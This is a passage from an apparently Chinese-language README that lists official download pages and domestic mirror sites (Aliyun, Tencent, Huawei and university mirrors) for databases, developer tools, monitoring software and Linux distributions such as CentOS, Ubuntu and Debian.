[https://www.elastic.co/cn/downloads/kibana](https://www.elastic.co/cn/downloads/kibana) #### Mirrors - elastic中文社区 - [https://elasticsearch.cn/download/](https://elasticsearch.cn/download/) - HUAWEI - [https://repo.huaweicloud.com/kibana/](https://repo.huaweicloud.com/kibana/) 🔝[回到顶部](#thanks-mirror) ### Filebeat #### Official - [https://www.elastic.co/cn/downloads/beats/filebeat](https://www.elastic.co/cn/downloads/beats/filebeat) #### Mirrors - elastic中文社区 - [https://elasticsearch.cn/download/](https://elasticsearch.cn/download/) - HUAWEI - [https://repo.huaweicloud.com/filebeat/](https://repo.huaweicloud.com/filebeat/) 🔝[回到顶部](#thanks-mirror) ### MySQL #### Official - [https://dev.mysql.com/downloads/repo/yum/](https://dev.mysql.com/downloads/repo/yum/) #### Mirrors - Aliyun - [https://developer.aliyun.com/mirror/mysql](https://developer.aliyun.com/mirror/mysql) - HUAWEI - [https://repo.huaweicloud.com/mysql/Downloads/](https://repo.huaweicloud.com/mysql/Downloads/) - Tencent - [https://mirrors.cloud.tencent.com/mysql/](https://mirrors.cloud.tencent.com/mysql/) - Souhu - [http://mirrors.sohu.com/mysql/](http://mirrors.sohu.com/mysql/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/mysql/](https://mirrors.tuna.tsinghua.edu.cn/mysql/) - 中科大 - [https://mirrors.ustc.edu.cn/mysql-ftp/Downloads/](https://mirrors.ustc.edu.cn/mysql-ftp/Downloads/) - 南阳理工 - [https://mirror.nyist.edu.cn/mysql/](https://mirror.nyist.edu.cn/mysql/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/mysql/](https://mirrors.bfsu.edu.cn/mysql/) - 南京大学 - [https://mirror.nju.edu.cn/mysql/](https://mirror.nju.edu.cn/mysql/) 🔝[回到顶部](#thanks-mirror) ### MariaDB #### Official - [https://mariadb.org/download/](https://mariadb.org/download/?spm=a2c6h.13651104.0.0.3b4d3553pZDrq9&t=mariadb&p=mariadb&r=10.6.7) #### Mirrors - Aliyun - [https://developer.aliyun.com/mirror/mariadb](https://developer.aliyun.com/mirror/mariadb) - Tencent - [https://mirrors.cloud.tencent.com/mariadb/](https://mirrors.cloud.tencent.com/mariadb/) - HUAWEI - [https://repo.huaweicloud.com/mariadb/](https://repo.huaweicloud.com/mariadb/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/mariadb/](https://mirrors.tuna.tsinghua.edu.cn/mariadb/) - 中科大 - [https://mirrors.ustc.edu.cn/mariadb/](https://mirrors.ustc.edu.cn/mariadb/) 🔝[回到顶部](#thanks-mirror) ### Percona #### Official - [https://www.percona.com/downloads/](https://www.percona.com/downloads/) #### Mirrors - Tencent - [https://mirrors.cloud.tencent.com/percona/](https://mirrors.cloud.tencent.com/percona/) - 火山引擎 - [https://mirrors.volces.com/percona/](https://mirrors.volces.com/percona/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/percona/](https://mirrors.tuna.tsinghua.edu.cn/percona/) - 中科大 - [https://mirrors.ustc.edu.cn/percona/](https://mirrors.ustc.edu.cn/percona/) 🔝[回到顶部](#thanks-mirror) ### MongoDB #### Official - [https://www.mongodb.com/try/download/community](https://www.mongodb.com/try/download/community) #### Mirrors - Aliyun - [https://developer.aliyun.com/mirror/mongodb](https://developer.aliyun.com/mirror/mongodb) - Tencent - [https://mirrors.cloud.tencent.com/mongodb/](https://mirrors.cloud.tencent.com/mongodb/) - 火山引擎 - [https://mirrors.volces.com/mongodb/](https://mirrors.volces.com/mongodb/) - 163 - [http://mirrors.163.com/mongodb/](http://mirrors.163.com/mongodb/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/mongodb/](https://mirrors.tuna.tsinghua.edu.cn/mongodb/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/mongodb/](https://mirrors.bfsu.edu.cn/mongodb/) - 南京大学 - [https://mirror.nju.edu.cn/mongodb/](https://mirror.nju.edu.cn/mongodb/) - 上海交通大学 - [https://mirrors.sjtug.sjtu.edu.cn/mongodb/](https://mirrors.sjtug.sjtu.edu.cn/mongodb/) 🔝[回到顶部](#thanks-mirror) ### Redis #### Official - [https://redis.io/download/](https://redis.io/download/) #### Mirrors - HUAWEI - [https://repo.huaweicloud.com/redis/](https://repo.huaweicloud.com/redis/) 🔝[回到顶部](#thanks-mirror) ### PostgreSQL #### Official - [https://www.postgresql.org/download/](https://www.postgresql.org/download/) #### Mirrors - Aliyun - [https://mirrors.aliyun.com/postgresql/](https://mirrors.aliyun.com/postgresql/) - Tencen - [https://mirrors.cloud.tencent.com/postgresql/](https://mirrors.cloud.tencent.com/postgresql/) - HUAWEI - [https://repo.huaweicloud.com/postgresql/](https://repo.huaweicloud.com/postgresql/) - 火山引擎 - [https://mirrors.volces.com/postgresql/](https://mirrors.volces.com/postgresql/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/postgresql/](https://mirrors.tuna.tsinghua.edu.cn/postgresql/) - 中科大 - [https://mirrors.ustc.edu.cn/postgresql/](https://mirrors.ustc.edu.cn/postgresql/) - 浙江大学 - [http://mirrors.zju.edu.cn/postgresql/](http://mirrors.zju.edu.cn/postgresql/) - 南阳理工 - [https://mirror.nyist.edu.cn/postgresql/](https://mirror.nyist.edu.cn/postgresql/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/postgresql/](https://mirrors.bfsu.edu.cn/postgresql/) - 南京大学 - [https://mirror.nju.edu.cn/postgresql/](https://mirror.nju.edu.cn/postgresql/) 🔝[回到顶部](#thanks-mirror) ### Golang #### Official - [https://go.dev/dl/](https://go.dev/dl/) #### Mirrors - Go语言中文网 - [https://studygolang.com/dl](https://studygolang.com/dl) - Aliyun - [https://mirrors.aliyun.com/golang/](https://mirrors.aliyun.com/golang/) - 中科大 - [https://mirrors.ustc.edu.cn/golang/](https://mirrors.ustc.edu.cn/golang/) - 南京大学 - [https://mirror.nju.edu.cn/golang/](https://mirror.nju.edu.cn/golang/) - 华中科技大学 - [https://mirrors.hust.edu.cn/golang/](https://mirrors.hust.edu.cn/golang/) 🔝[回到顶部](#thanks-mirror) ### Node #### Official - [https://nodejs.org/en/download/](https://nodejs.org/en/download/) #### Mirrors - Aliyun - [https://mirrors.aliyun.com/nodejs-release/](https://mirrors.aliyun.com/nodejs-release/) - HUAWEI - [https://repo.huaweicloud.com/nodejs/](https://repo.huaweicloud.com/nodejs/) - Tencent - [https://mirrors.cloud.tencent.com/nodejs-release/](https://mirrors.cloud.tencent.com/nodejs-release/) - 火山引擎 - [https://mirrors.volces.com/nodejs-release/](https://mirrors.volces.com/nodejs-release/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/nodejs-release/](https://mirrors.tuna.tsinghua.edu.cn/nodejs-release/) - 中科大 - [https://mirrors.ustc.edu.cn/node/](https://mirrors.ustc.edu.cn/node/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/nodejs-release/](https://mirrors.bfsu.edu.cn/nodejs-release/) 🔝[回到顶部](#thanks-mirror) ### Yarn #### Official - [https://github.com/yarnpkg/yarn/releases](https://github.com/yarnpkg/yarn/releases) #### Mirrors - HUAWEI - [https://repo.huaweicloud.com/yarn/](https://repo.huaweicloud.com/yarn/) 🔝[回到顶部](#thanks-mirror) ### Python #### Official - [https://www.python.org/downloads/](https://www.python.org/downloads/) #### Mirrors - HUAWEI - [https://repo.huaweicloud.com/python/](https://repo.huaweicloud.com/python/) - 北京交通 - [https://mirror.bjtu.edu.cn/python/](https://mirror.bjtu.edu.cn/python/) - 淘宝NPM - [https://registry.npmmirror.com/binary.html?path=python](https://registry.npmmirror.com/binary.html?path=python) 🔝[回到顶部](#thanks-mirror) ### Rust #### Official - [https://forge.rust-lang.org/infra/other-installation-methods.html](https://forge.rust-lang.org/infra/other-installation-methods.html) #### Mirrors - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/rustup/](https://mirrors.tuna.tsinghua.edu.cn/rustup/) - 上海交通大学 - [https://mirror.sjtu.edu.cn/rust-static/](https://mirror.sjtu.edu.cn/rust-static/) - 华中科技大学 - [https://mirrors.hust.edu.cn/rustup/](https://mirrors.hust.edu.cn/rustup/) 🔝[回到顶部](#thanks-mirror) ### Maven #### Official - [https://maven.apache.org/download.cgi](https://maven.apache.org/download.cgi) #### Mirrors - HUAWEI - [https://repo.huaweicloud.com/apache/maven/maven-3/](https://repo.huaweicloud.com/apache/maven/maven-3/) 🔝[回到顶部](#thanks-mirror) ### Zabbix #### Official - [https://www.zabbix.com/cn/download](https://www.zabbix.com/cn/download) #### Mirrors - Aliyun - [https://mirrors.aliyun.com/zabbix](https://mirrors.aliyun.com/zabbix) - HUAWEI - [https://repo.huaweicloud.com/zabbix/](https://repo.huaweicloud.com/zabbix/) - Tencent - [https://mirrors.cloud.tencent.com/zabbix/](https://mirrors.cloud.tencent.com/zabbix/) - 火山引擎 - [https://mirrors.volces.com/zabbix/](https://mirrors.volces.com/zabbix/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/zabbix/](https://mirrors.tuna.tsinghua.edu.cn/zabbix/) - 南阳理工 - [https://mirror.nyist.edu.cn/zabbix/](https://mirror.nyist.edu.cn/zabbix/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/zabbix/](https://mirrors.bfsu.edu.cn/zabbix/) - 西北农林科技大学 - [https://mirrors.nwsuaf.edu.cn/zabbix/](https://mirrors.nwsuaf.edu.cn/zabbix/) 🔝[回到顶部](#thanks-mirror) ### Prometheus #### Official - [https://prometheus.io/download/](https://prometheus.io/download/) #### Mirrors - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/github-release/prometheus/prometheus/](https://mirrors.tuna.tsinghua.edu.cn/github-release/prometheus/prometheus/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/github-release/prometheus/prometheus/](https://mirrors.bfsu.edu.cn/github-release/prometheus/prometheus/) - 南京大学 - [https://mirror.nju.edu.cn/github-release/prometheus/](https://mirror.nju.edu.cn/github-release/prometheus/) - 上海交通大学 - [https://mirror.sjtu.edu.cn/github-release/prometheus/?mirror_intel_list](https://mirror.sjtu.edu.cn/github-release/prometheus/?mirror_intel_list) 此地址下包含了prometheus应用体系的大部分软件，包含： - [alertmanager](https://s3.jcloud.sjtu.edu.cn/899a892efef34b1b944a19981040f55b-oss01/github-release/prometheus/alertmanager/mirror_clone_list.html) - [blackbox_exporter](https://s3.jcloud.sjtu.edu.cn/899a892efef34b1b944a19981040f55b-oss01/github-release/prometheus/blackbox_exporter/mirror_clone_list.html) - [consul_exporter](https://s3.jcloud.sjtu.edu.cn/899a892efef34b1b944a19981040f55b-oss01/github-release/prometheus/consul_exporter/mirror_clone_list.html) - [graphite_exporter](https://s3.jcloud.sjtu.edu.cn/899a892efef34b1b944a19981040f55b-oss01/github-release/prometheus/graphite_exporter/mirror_clone_list.html) - [haproxy_exporter](https://s3.jcloud.sjtu.edu.cn/899a892efef34b1b944a19981040f55b-oss01/github-release/prometheus/haproxy_exporter/mirror_clone_list.html) - [memcached_exporter](https://s3.jcloud.sjtu.edu.cn/899a892efef34b1b944a19981040f55b-oss01/github-release/prometheus/memcached_exporter/mirror_clone_list.html) - [mysqld_exporter](https://s3.jcloud.sjtu.edu.cn/899a892efef34b1b944a19981040f55b-oss01/github-release/prometheus/mysqld_exporter/mirror_clone_list.html) - [node_exporter](https://s3.jcloud.sjtu.edu.cn/899a892efef34b1b944a19981040f55b-oss01/github-release/prometheus/node_exporter/mirror_clone_list.html) - [prometheus](https://s3.jcloud.sjtu.edu.cn/899a892efef34b1b944a19981040f55b-oss01/github-release/prometheus/prometheus/mirror_clone_list.html) - [pushgateway](https://s3.jcloud.sjtu.edu.cn/899a892efef34b1b944a19981040f55b-oss01/github-release/prometheus/pushgateway/mirror_clone_list.html) - [statsd_exporter](https://s3.jcloud.sjtu.edu.cn/899a892efef34b1b944a19981040f55b-oss01/github-release/prometheus/statsd_exporter/mirror_clone_list.html) 🔝[回到顶部](#thanks-mirror) ### Grafana #### Official - [https://grafana.com/grafana/download](https://grafana.com/grafana/download) #### Mirrors - Aliyun - [https://developer.aliyun.com/mirror/grafana](https://developer.aliyun.com/mirror/grafana) - HUAWEI - [https://repo.huaweicloud.com/grafana/](https://repo.huaweicloud.com/grafana/) - Tencent - [https://mirrors.cloud.tencent.com/grafana/](https://mirrors.cloud.tencent.com/grafana/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/grafana/](https://mirrors.tuna.tsinghua.edu.cn/grafana/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/grafana/](https://mirrors.bfsu.edu.cn/grafana/) - 西北农林科技大学 - [https://mirrors.nwsuaf.edu.cn/grafana/](https://mirrors.nwsuaf.edu.cn/grafana/) - 南京大学 - [https://mirror.nju.edu.cn/grafana/](https://mirror.nju.edu.cn/grafana/) 🔝[回到顶部](#thanks-mirror) ### Pinpoint #### Official - [https://github.com/pinpoint-apm/pinpoint/releases](https://github.com/pinpoint-apm/pinpoint/releases) #### Mirrors - HUAWEI - [https://repo.huaweicloud.com/pinpoint/](https://repo.huaweicloud.com/pinpoint/) 🔝[回到顶部](#thanks-mirror) ### Apache #### Official - [https://httpd.apache.org/download.cgi](https://httpd.apache.org/download.cgi) #### Mirrors - Aliyun - [https://developer.aliyun.com/mirror/apache](https://developer.aliyun.com/mirror/apache) - HUAWEI - [https://repo.huaweicloud.com/apache/](https://repo.huaweicloud.com/apache/) - Tencent - [https://mirrors.cloud.tencent.com/apache/](https://mirrors.cloud.tencent.com/apache/) - Souhu - [http://mirrors.sohu.com/apache/](http://mirrors.sohu.com/apache/) - 北大 - [https://mirrors.pku.edu.cn/apache/](https://mirrors.pku.edu.cn/apache/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/apache/](https://mirrors.tuna.tsinghua.edu.cn/apache/) - 中科大 - [https://mirrors.ustc.edu.cn/apache/](https://mirrors.ustc.edu.cn/apache/) - 北京交通 - [https://mirror.bjtu.edu.cn/apache/](https://mirror.bjtu.edu.cn/apache/) - 南京大学 - [https://mirror.nju.edu.cn/apache/](https://mirror.nju.edu.cn/apache/) 🔝[回到顶部](#thanks-mirror) ### Nginx #### Official - [http://nginx.org/en/download.html](http://nginx.org/en/download.html) #### Mirrors - HUAWEI - [https://repo.huaweicloud.com/nginx/](https://repo.huaweicloud.com/nginx/) - Souhu - [http://mirrors.sohu.com/nginx/](http://mirrors.sohu.com/nginx/) - 中科大 - [https://mirrors.ustc.edu.cn/nginx/](https://mirrors.ustc.edu.cn/nginx/) - 西北农林科技大学 - [https://mirrors.nwsuaf.edu.cn/nginx/](https://mirrors.nwsuaf.edu.cn/nginx/) - 南京大学 - [https://mirror.nju.edu.cn/nginx/](https://mirror.nju.edu.cn/nginx/) 🔝[回到顶部](#thanks-mirror) ### OpenResty #### Official - [https://openresty.org/cn/download.html](https://openresty.org/cn/download.html) #### Mirrors - Tencent - [https://mirrors.cloud.tencent.com/openresty/](https://mirrors.cloud.tencent.com/openresty/) - HUAWEI - [https://repo.huaweicloud.com/openresty/](https://repo.huaweicloud.com/openresty/) - 中科大 - [https://mirrors.ustc.edu.cn/openresty/](https://mirrors.ustc.edu.cn/openresty/) - 西北农林科技大学 - [https://mirrors.nwsuaf.edu.cn/openresty/](https://mirrors.nwsuaf.edu.cn/openresty/) - 南京大学 - [https://mirror.nju.edu.cn/openresty/](https://mirror.nju.edu.cn/openresty/) 🔝[回到顶部](#thanks-mirror) ### Keepalived #### Official - [https://www.keepalived.org/download.html](https://www.keepalived.org/download.html) #### Mirrors - HUAWEI - [https://repo.huaweicloud.com/keepalived/](https://repo.huaweicloud.com/keepalived/) 🔝[回到顶部](#thanks-mirror) ### Ceph #### Official - [https://docs.ceph.com/en/quincy/install/get-packages/](https://docs.ceph.com/en/quincy/install/get-packages/) #### Mirrors - Aliyun - [https://developer.aliyun.com/mirror/ceph](https://developer.aliyun.com/mirror/ceph) - Tencent - [https://mirrors.cloud.tencent.com/ceph/](https://mirrors.cloud.tencent.com/ceph/) - HUAWEI - [https://repo.huaweicloud.com/ceph/](https://repo.huaweicloud.com/ceph/) - 163 - [http://mirrors.163.com/ceph/](http://mirrors.163.com/ceph/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/ceph/](https://mirrors.tuna.tsinghua.edu.cn/ceph/) - 重庆大学 - [https://mirrors.cqu.edu.cn/ceph/](https://mirrors.cqu.edu.cn/ceph/) - 中科大 - [https://mirrors.ustc.edu.cn/ceph/](https://mirrors.ustc.edu.cn/ceph/) - 南京大学 - [https://mirror.nju.edu.cn/ceph/](https://mirror.nju.edu.cn/ceph/) 🔝[回到顶部](#thanks-mirror) ### Influxdata #### Official - [https://portal.influxdata.com/downloads/](https://portal.influxdata.com/downloads/) #### Mirrors - Tencent - [https://mirrors.cloud.tencent.com/influxdata/](https://mirrors.cloud.tencent.com/influxdata/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/influxdata/](https://mirrors.tuna.tsinghua.edu.cn/influxdata/) - 中科大 - [https://mirrors.ustc.edu.cn/influxdata/](https://mirrors.ustc.edu.cn/influxdata/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/influxdata/](https://mirrors.bfsu.edu.cn/influxdata/) - 南京大学 - [https://mirror.nju.edu.cn/influxdata/](https://mirror.nju.edu.cn/influxdata/) 🔝[回到顶部](#thanks-mirror) ### ClickHouse #### Official - [https://clickhouse.com/#quick-start](https://clickhouse.com/#quick-start) #### Mirrors - Aliyun - [https://mirrors.aliyun.com/clickhouse/](https://mirrors.aliyun.com/clickhouse/) - 火山引擎 - [https://mirrors.volces.com/clickhouse/](https://mirrors.volces.com/clickhouse/) 🔝[回到顶部](#thanks-mirror) ### Rabbitmq #### Official - [https://www.rabbitmq.com/download.html](https://www.rabbitmq.com/download.html) #### Mirrors - HUAWEI - [https://repo.huaweicloud.com/rabbitmq-server/](https://repo.huaweicloud.com/rabbitmq-server/) 🔝[回到顶部](#thanks-mirror) ### ETCD #### Official - [https://github.com/etcd-io/etcd/releases](https://github.com/etcd-io/etcd/releases) #### Mirrors - HUAWEI - [https://repo.huaweicloud.com/etcd/](https://repo.huaweicloud.com/etcd/) 🔝[回到顶部](#thanks-mirror) ### WireShark #### Official - [https://www.wireshark.org/](https://www.wireshark.org/) #### Mirrors - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/wireshark/](https://mirrors.tuna.tsinghua.edu.cn/wireshark/) - 上海交通大学 - [https://mirror.sjtu.edu.cn/wireshark/](https://mirror.sjtu.edu.cn/wireshark/) 🔝[回到顶部](#thanks-mirror) ### Virtualbox #### Official - [https://www.virtualbox.org/wiki/Downloads](https://www.virtualbox.org/wiki/Downloads) #### Mirrors - Tencent - [https://mirrors.cloud.tencent.com/virtualbox/](https://mirrors.cloud.tencent.com/virtualbox/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/virtualbox/](https://mirrors.tuna.tsinghua.edu.cn/virtualbox/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/virtualbox/](https://mirrors.bfsu.edu.cn/virtualbox/) 🔝[回到顶部](#thanks-mirror) ### iina #### Official - [https://github.com/iina/iina/releases/](https://github.com/iina/iina/releases/) #### Mirrors - Aliyun - [https://mirrors.aliyun.com/iina/](https://mirrors.aliyun.com/iina/) - Tencent - [https://mirrors.cloud.tencent.com/iina/](https://mirrors.cloud.tencent.com/iina/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/iina/](https://mirrors.tuna.tsinghua.edu.cn/iina/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/iina/](https://mirrors.bfsu.edu.cn/iina/) - 南京大学 - [https://mirror.nju.edu.cn/iina/](https://mirror.nju.edu.cn/iina/) 🔝[回到顶部](#thanks-mirror) ### chromium #### Official - [ https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html](https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html) #### Mirrors - Aliyun - [https://registry.npmmirror.com/binary.html?path=chromium-browser-snapshots/](https://registry.npmmirror.com/binary.html?path=chromium-browser-snapshots/) - huaweicloud - [https://repo.huaweicloud.com/chromium-browser-snapshots/](https://repo.huaweicloud.com/chromium-browser-snapshots/) - ungoogled-software.github.io(ungoogle chromium) - [https://ungoogled-software.github.io/ungoogled-chromium-binaries/releases/](https://ungoogled-software.github.io/ungoogled-chromium-binaries/releases/) 🔝[回到顶部](#thanks-mirror) ## System-Mirror 系统镜像，又大又远，更需要找到好用优秀的国内镜像。 ### CentOS 尽管CentOS不再更新了，但它仍旧并且还将持续是国内企业系统主力军。可能官方考虑到下载困难的问题，官方也列出了距离使用者更近的镜像列表，可谓贴心。 #### Official - [https://www.centos.org/download/](https://www.centos.org/download/) #### Mirrors - [Aliyun](https://developer.aliyun.com/mirror/centos) - [https://mirrors.aliyun.com/centos/](https://mirrors.aliyun.com/centos/) - Tencent - [https://mirrors.cloud.tencent.com/centos/](https://mirrors.cloud.tencent.com/centos/) - HUAWEI - [https://repo.huaweicloud.com/centos/](https://repo.huaweicloud.com/centos/) - 火山引擎 - [https://mirrors.volces.com/centos/](https://mirrors.volces.com/centos/) - 163 - [http://mirrors.163.com/centos/](http://mirrors.163.com/centos/) - Souhu - [http://mirrors.sohu.com/centos/](http://mirrors.sohu.com/centos/) - 北大 - [https://mirrors.pku.edu.cn/centos/](https://mirrors.pku.edu.cn/centos/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/centos/](https://mirrors.tuna.tsinghua.edu.cn/centos/) - 中科大 - [https://mirrors.ustc.edu.cn/centos/](https://mirrors.ustc.edu.cn/centos/) - 浙江大学 - [http://mirrors.zju.edu.cn/centos/](http://mirrors.zju.edu.cn/centos/) - 南阳理工 - [https://mirror.nyist.edu.cn/centos/](https://mirror.nyist.edu.cn/centos/) - 兰州大学 - [https://mirror.lzu.edu.cn/centos/](https://mirror.lzu.edu.cn/centos/) - 上海交通 - [http://ftp.sjtu.edu.cn/centos/](http://ftp.sjtu.edu.cn/centos/) - 首都在线 - [http://mirrors.yun-idc.com/centos/](http://mirrors.yun-idc.com/centos/) - 重庆大学 - [https://mirrors.cqu.edu.cn/centos/](https://mirrors.cqu.edu.cn/centos/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/centos/](https://mirrors.bfsu.edu.cn/centos/) - 公云 - [https://mirrors.pubyun.com/centos/](https://mirrors.pubyun.com/centos/) - 北京交通 - [https://mirror.bjtu.edu.cn/centos/](https://mirror.bjtu.edu.cn/centos/) - 西北农林科技大学 - [https://mirrors.nwsuaf.edu.cn/centos/](https://mirrors.nwsuaf.edu.cn/centos/) - 南京大学 - [https://mirror.nju.edu.cn/centos/](https://mirror.nju.edu.cn/centos/) 🔝[回到顶部](#thanks-mirror) ### CentOS-altarch ARM架构下的CentOS镜像。 #### Official - [https://www.centos.org/download/](https://www.centos.org/download/) #### Mirrors - [Aliyun](https://developer.aliyun.com/mirror/centos-altarch) - [https://developer.aliyun.com/mirror/centos-altarch](https://developer.aliyun.com/mirror/centos-altarch) - Tencent - [https://mirrors.cloud.tencent.com/centos-altarch/](https://mirrors.cloud.tencent.com/centos-altarch/) - HUAWEI - [https://repo.huaweicloud.com/centos-altarch/](https://repo.huaweicloud.com/centos-altarch/) - 火山引擎 - [https://mirrors.volces.com/centos-altarch/](https://mirrors.volces.com/centos-altarch/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/centos-altarch/](https://mirrors.tuna.tsinghua.edu.cn/centos-altarch/) - 中科大 - [https://mirrors.ustc.edu.cn/centos-altarch/](https://mirrors.ustc.edu.cn/centos-altarch/) - 兰州大学 - [https://mirror.lzu.edu.cn/centos-altarch/](https://mirror.lzu.edu.cn/centos-altarch/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/centos-altarch/](https://mirrors.bfsu.edu.cn/centos-altarch/) - 南京大学 - [https://mirror.nju.edu.cn/centos-altarch/](https://mirror.nju.edu.cn/centos-altarch/) 🔝[回到顶部](#thanks-mirror) ### Ubuntu #### Official - 官方镜像：[https://ubuntu.com/download](https://ubuntu.com/download) #### Mirrors - [Aliyun](https://developer.aliyun.com/mirror/ubuntu) - [https://mirrors.aliyun.com/ubuntu/](https://mirrors.aliyun.com/ubuntu/) - Tencent - [https://mirrors.cloud.tencent.com/ubuntu/](https://mirrors.cloud.tencent.com/ubuntu/) - HUAWEI - [https://repo.huaweicloud.com/ubuntu/](https://repo.huaweicloud.com/ubuntu/) - 火山引擎 - [https://mirrors.volces.com/ubuntu/](https://mirrors.volces.com/ubuntu/) - 163 - [http://mirrors.163.com/ubuntu/](http://mirrors.163.com/ubuntu/) - Souhu - [http://mirrors.sohu.com/ubuntu/](http://mirrors.sohu.com/ubuntu/) - 北大 - [https://mirrors.pku.edu.cn/ubuntu/](https://mirrors.pku.edu.cn/ubuntu/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/ubuntu/](https://mirrors.tuna.tsinghua.edu.cn/ubuntu/) - 中科大 - [https://mirrors.ustc.edu.cn/ubuntu/](https://mirrors.ustc.edu.cn/ubuntu/) - 浙江大学 - [http://mirrors.zju.edu.cn/ubuntu/](http://mirrors.zju.edu.cn/ubuntu/) - 兰州大学 - [https://mirror.lzu.edu.cn/ubuntu/](https://mirror.lzu.edu.cn/ubuntu/) - 大连东软 - [http://mirrors.neusoft.edu.cn/ubuntu/](http://mirrors.neusoft.edu.cn/ubuntu/) - 上海交通 - [http://ftp.sjtu.edu.cn/ubuntu/](http://ftp.sjtu.edu.cn/ubuntu/) - 首都在线 - [http://mirrors.yun-idc.com/ubuntu/](http://mirrors.yun-idc.com/ubuntu/) - 南阳理工 - [https://mirror.nyist.edu.cn/ubuntu/](https://mirror.nyist.edu.cn/ubuntu/) - 重庆大学 - [https://mirrors.cqu.edu.cn/ubuntu/](https://mirrors.cqu.edu.cn/ubuntu/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/ubuntu/](https://mirrors.bfsu.edu.cn/ubuntu/) - 北京交通 - [https://mirror.bjtu.edu.cn/ubuntu/](https://mirror.bjtu.edu.cn/ubuntu/) - 南京大学 - [https://mirror.nju.edu.cn/ubuntu/](https://mirror.nju.edu.cn/ubuntu/) - 华中科技大学 - [https://mirrors.hust.edu.cn/ubuntu/](https://mirrors.hust.edu.cn/ubuntu/) 🔝[回到顶部](#thanks-mirror) ### Debian #### Official - 官方镜像：[https://www.debian.org/mirror/](https://www.debian.org/mirror/) - 全球镜像：[https://www.debian.org/mirror/list](https://www.debian.org/mirror/list) #### Mirrors - [Aliyun](https://developer.aliyun.com/mirror/debian) - [https://mirrors.aliyun.com/debian/](https://mirrors.aliyun.com/debian/) - Tencent - [https://mirrors.cloud.tencent.com/debian/](https://mirrors.cloud.tencent.com/debian/) - HUAWEI - [https://repo.huaweicloud.com/debian/](https://repo.huaweicloud.com/debian/) - 火山引擎 - [https://mirrors.volces.com/debian/](https://mirrors.volces.com/debian/) - 163 - [http://mirrors.163.com/debian/](http://mirrors.163.com/debian/) - Souhu - [http://mirrors.sohu.com/debian/](http://mirrors.sohu.com/debian/) - 北大 - [https://mirrors.pku.edu.cn/debian/](https://mirrors.pku.edu.cn/debian/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/debian/](https://mirrors.tuna.tsinghua.edu.cn/debian/) - 中科大 - [https://mirrors.ustc.edu.cn/debian/](https://mirrors.ustc.edu.cn/debian/) - 浙江大学 - [http://mirrors.zju.edu.cn/debian/](http://mirrors.zju.edu.cn/debian/) - 兰州大学 - [https://mirror.lzu.edu.cn/debian/](https://mirror.lzu.edu.cn/debian/) - 大连东软 - [http://mirrors.neusoft.edu.cn/debian/](http://mirrors.neusoft.edu.cn/debian/) - 上海交通 - [http://ftp.sjtu.edu.cn/debian/](http://ftp.sjtu.edu.cn/debian/) - 首都在线 - [http://mirrors.yun-idc.com/debian/](http://mirrors.yun-idc.com/debian/) - 南阳理工 - [https://mirror.nyist.edu.cn/debian/](https://mirror.nyist.edu.cn/debian/) - 重庆大学 - [https://mirrors.cqu.edu.cn/debian/](https://mirrors.cqu.edu.cn/debian/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/debian/](https://mirrors.bfsu.edu.cn/debian/) - 公云 - [https://mirrors.pubyun.com/debian/](https://mirrors.pubyun.com/debian/) - 北京交通 - [https://mirror.bjtu.edu.cn/debian/](https://mirror.bjtu.edu.cn/debian/) - 南京大学 - [https://mirror.nju.edu.cn/debian/](https://mirror.nju.edu.cn/debian/) - 华中科技大学 - [https://mirrors.hust.edu.cn/debian/](https://mirrors.hust.edu.cn/debian/) 🔝[回到顶部](#thanks-mirror) ### Deepin #### Official - 官方镜像：[https://www.deepin.org/zh/download/](https://www.deepin.org/zh/download/) #### Mirrors - [Aliyun](https://developer.aliyun.com/mirror/deepin) - [https://mirrors.aliyun.com/deepin/](https://mirrors.aliyun.com/deepin/) - HUAWEI - [https://repo.huaweicloud.com/deepin/](https://repo.huaweicloud.com/deepin/) - 163 - [http://mirrors.163.com/deepin/](http://mirrors.163.com/deepin/) - Souhu - [http://mirrors.sohu.com/deepin/](http://mirrors.sohu.com/deepin/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/deepin/](https://mirrors.tuna.tsinghua.edu.cn/deepin/) - 中科大 - [https://mirrors.ustc.edu.cn/deepin/](https://mirrors.ustc.edu.cn/deepin/) - 浙江大学 - [http://mirrors.zju.edu.cn/deepin/](http://mirrors.zju.edu.cn/deepin/) - 兰州大学 - [https://mirror.lzu.edu.cn/deepin/](https://mirror.lzu.edu.cn/deepin/) - 上海交通 - [http://ftp.sjtu.edu.cn/deepin/](http://ftp.sjtu.edu.cn/deepin/) - 南阳理工 - 